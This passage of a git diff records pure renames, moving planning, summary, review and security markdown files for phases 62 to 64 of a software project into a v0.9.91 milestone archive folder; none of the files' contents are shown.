b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md diff --git a/.planning/phases/63-native-messaging-host/63-01-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-02-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-03-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-04-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-05-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-06-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-07-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-07-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-08-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-08-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-09-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-09-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-09-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-09-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-09-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-10-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-10-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-10-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-10-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-10-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-11-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-11-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-11-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-11-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-11-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-12-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-12-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-12-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-12-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-12-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-CONTEXT.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-CONTEXT.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-CONTEXT.md diff --git a/.planning/phases/63-native-messaging-host/63-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-HUMAN-UAT.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-HUMAN-UAT.md diff --git a/.planning/phases/63-native-messaging-host/63-PATTERNS.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-PATTERNS.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-PATTERNS.md diff --git a/.planning/phases/63-native-messaging-host/63-RESEARCH.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-RESEARCH.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-RESEARCH.md diff --git a/.planning/phases/63-native-messaging-host/63-REVIEW.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-REVIEW.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-REVIEW.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-REVIEW.md diff --git a/.planning/phases/63-native-messaging-host/63-SECURITY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-SECURITY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-SECURITY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-SECURITY.md diff --git a/.planning/phases/63-native-messaging-host/63-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-REVIEW.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-REVIEW.md diff --git a/.planning/phases/63-native-messaging-host/63-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-SPEC.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-UI-SPEC.md diff --git a/.planning/phases/63-native-messaging-host/63-VALIDATION.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VALIDATION.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VALIDATION.md diff --git a/.planning/phases/63-native-messaging-host/63-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VERIFICATION.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-VERIFICATION.md diff --git a/.planning/phases/64-opencode-adapter/64-01-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-01-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-02-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-02-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-03-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-03-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-04-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-04-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-05-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-05-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-06-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-06-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-07-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-07-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-08-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-08-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-09-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-09-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-09-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-09-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-09-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-10-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-10-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-10-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-10-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-10-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-11-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-11-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-11-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-11-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-11-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-12-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-12-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-12-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-12-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-12-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-13-PLAN.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-PLAN.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-13-PLAN.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-PLAN.md diff --git a/.planning/phases/64-opencode-adapter/64-13-SUMMARY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-SUMMARY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-13-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-13-SUMMARY.md diff --git a/.planning/phases/64-opencode-adapter/64-CONTEXT.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-CONTEXT.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-CONTEXT.md diff --git a/.planning/phases/64-opencode-adapter/64-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-HUMAN-UAT.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-HUMAN-UAT.md diff --git a/.planning/phases/64-opencode-adapter/64-PATTERNS.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-PATTERNS.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-PATTERNS.md diff --git a/.planning/phases/64-opencode-adapter/64-RESEARCH.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-RESEARCH.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-RESEARCH.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.iter2.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW-FIX.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.iter2.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.iter2.md diff --git a/.planning/phases/64-opencode-adapter/64-REVIEW.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-REVIEW.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-REVIEW.md diff --git a/.planning/phases/64-opencode-adapter/64-SECURITY.md b/.planning/milestones/v0.9.91-phases/64-opencode-adapter/64-SECURITY.md similarity index 100% rename from .planning/phases/64-opencode-adapter/64-SECURITY.md rename to .planning/milestones/v0.9.91-phases/64-opencode-adapter/64-SECURITY.md diff --git 